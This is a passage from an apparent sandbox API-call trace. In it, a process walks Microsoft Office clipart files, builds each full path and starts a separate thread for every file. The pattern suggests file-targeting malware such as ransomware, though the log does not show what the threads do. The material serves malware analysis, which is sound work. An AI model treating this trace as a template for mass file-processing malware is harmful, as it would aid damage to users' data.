lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90 [0090.958] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0090.958] wcscmp (_String1="BD00141_.WMF", _String2=".") returned 1 [0090.958] wcscmp (_String1="BD00141_.WMF", _String2="..") returned 1 [0090.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c460 [0090.958] wcscpy (in: _Dest=0x1cf4c460, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.958] wcscat (in: _Dest=0x1cf4c460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.958] wcscat (in: _Dest=0x1cf4c460, _Source="BD00141_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" [0090.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94 [0090.959] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0090.959] wcscmp (_String1="BD00146_.WMF", _String2=".") returned 1 [0090.959] wcscmp (_String1="BD00146_.WMF", _String2="..") returned 1 [0090.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c4f0 [0090.959] wcscpy (in: _Dest=0x1cf4c4f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.959] wcscat (in: _Dest=0x1cf4c4f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.959] wcscat (in: _Dest=0x1cf4c4f0, _Source="BD00146_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" [0090.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98 [0090.960] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0090.960] wcscmp (_String1="BD00155_.WMF", _String2=".") returned 1 [0090.960] wcscmp (_String1="BD00155_.WMF", _String2="..") returned 1 [0090.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c600 [0090.964] wcscpy (in: _Dest=0x1cf4c600, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.964] wcscat (in: _Dest=0x1cf4c600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.964] wcscat (in: _Dest=0x1cf4c600, _Source="BD00155_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" [0090.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c [0090.965] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0090.965] wcscmp (_String1="BD00160_.WMF", _String2=".") returned 1 [0090.965] wcscmp (_String1="BD00160_.WMF", _String2="..") returned 1 [0090.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c690 [0090.965] wcscpy (in: _Dest=0x1cf4c690, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.966] wcscat (in: _Dest=0x1cf4c690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.966] wcscat (in: _Dest=0x1cf4c690, _Source="BD00160_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" [0090.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca0 [0090.966] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0090.966] wcscmp (_String1="BD00173_.WMF", _String2=".") returned 1 [0090.966] wcscmp (_String1="BD00173_.WMF", _String2="..") returned 1 [0090.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c720 [0090.967] wcscpy (in: _Dest=0x1cf4c720, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.967] wcscat (in: _Dest=0x1cf4c720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.967] wcscat (in: _Dest=0x1cf4c720, _Source="BD00173_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" [0090.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4 [0090.967] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0090.967] wcscmp (_String1="BD05119_.WMF", _String2=".") returned 1 [0090.967] wcscmp (_String1="BD05119_.WMF", _String2="..") returned 1 [0090.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c7b0 [0090.968] wcscpy (in: _Dest=0x1cf4c7b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.968] wcscat (in: _Dest=0x1cf4c7b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.968] wcscat (in: _Dest=0x1cf4c7b0, _Source="BD05119_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" [0090.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8 [0090.968] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0090.969] wcscmp (_String1="BD06102_.WMF", _String2=".") returned 1 [0090.969] wcscmp (_String1="BD06102_.WMF", _String2="..") returned 1 [0090.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c840 [0090.969] wcscpy (in: _Dest=0x1cf4c840, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.969] wcscat (in: _Dest=0x1cf4c840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.969] wcscat (in: _Dest=0x1cf4c840, _Source="BD06102_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" [0090.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac [0090.970] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0090.970] wcscmp (_String1="BD06200_.WMF", _String2=".") returned 1 [0090.970] wcscmp (_String1="BD06200_.WMF", _String2="..") returned 1 [0090.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c8d0 [0090.970] wcscpy (in: _Dest=0x1cf4c8d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.970] wcscat (in: _Dest=0x1cf4c8d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.970] wcscat (in: _Dest=0x1cf4c8d0, _Source="BD06200_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" [0090.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb0 [0090.971] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0090.971] wcscmp (_String1="BD07761_.WMF", _String2=".") returned 1 [0090.971] wcscmp (_String1="BD07761_.WMF", _String2="..") returned 1 [0090.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c960 [0090.971] wcscpy (in: _Dest=0x1cf4c960, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.971] wcscat (in: _Dest=0x1cf4c960, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.971] wcscat (in: _Dest=0x1cf4c960, _Source="BD07761_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" [0090.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb4 [0090.972] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0090.972] wcscmp (_String1="BD07804_.WMF", _String2=".") returned 1 [0090.972] wcscmp (_String1="BD07804_.WMF", _String2="..") returned 1 [0090.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c9f0 [0090.972] wcscpy (in: _Dest=0x1cf4c9f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.972] wcscat (in: _Dest=0x1cf4c9f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.972] wcscat (in: _Dest=0x1cf4c9f0, _Source="BD07804_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" [0090.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c9f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8 [0090.973] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0090.973] wcscmp (_String1="BD07831_.WMF", _String2=".") returned 1 [0090.973] wcscmp (_String1="BD07831_.WMF", _String2="..") returned 1 [0090.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ca80 [0090.973] wcscpy (in: _Dest=0x1cf4ca80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.973] wcscat (in: _Dest=0x1cf4ca80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.973] wcscat (in: _Dest=0x1cf4ca80, _Source="BD07831_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" [0090.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ca80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcbc [0090.974] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0090.974] wcscmp (_String1="BD08758_.WMF", _String2=".") returned 1 [0090.974] wcscmp (_String1="BD08758_.WMF", _String2="..") returned 1 [0090.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cb10 [0090.974] wcscpy (in: _Dest=0x1cf4cb10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.974] wcscat (in: _Dest=0x1cf4cb10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.975] wcscat (in: _Dest=0x1cf4cb10, _Source="BD08758_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" [0090.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0 [0090.975] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0090.975] wcscmp (_String1="BD08773_.WMF", _String2=".") returned 1 [0090.975] wcscmp (_String1="BD08773_.WMF", _String2="..") returned 1 [0090.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cba0 [0090.976] wcscpy (in: _Dest=0x1cf4cba0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.976] wcscat (in: _Dest=0x1cf4cba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.976] wcscat (in: _Dest=0x1cf4cba0, _Source="BD08773_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" [0090.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4 [0090.976] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0090.977] wcscmp (_String1="BD08808_.WMF", _String2=".") returned 1 [0090.977] wcscmp (_String1="BD08808_.WMF", _String2="..") returned 1 [0090.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cc30 [0090.977] wcscpy (in: _Dest=0x1cf4cc30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.977] wcscat (in: _Dest=0x1cf4cc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.977] wcscat (in: _Dest=0x1cf4cc30, _Source="BD08808_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" [0090.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8 [0090.978] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0090.978] wcscmp (_String1="BD08868_.WMF", _String2=".") returned 1 [0090.978] wcscmp (_String1="BD08868_.WMF", _String2="..") returned 1 [0090.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ccc0 [0090.978] wcscpy (in: _Dest=0x1cf4ccc0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0090.978] wcscat (in: _Dest=0x1cf4ccc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0090.978] wcscat (in: _Dest=0x1cf4ccc0, _Source="BD08868_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" [0090.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ccc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc [0090.979] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, 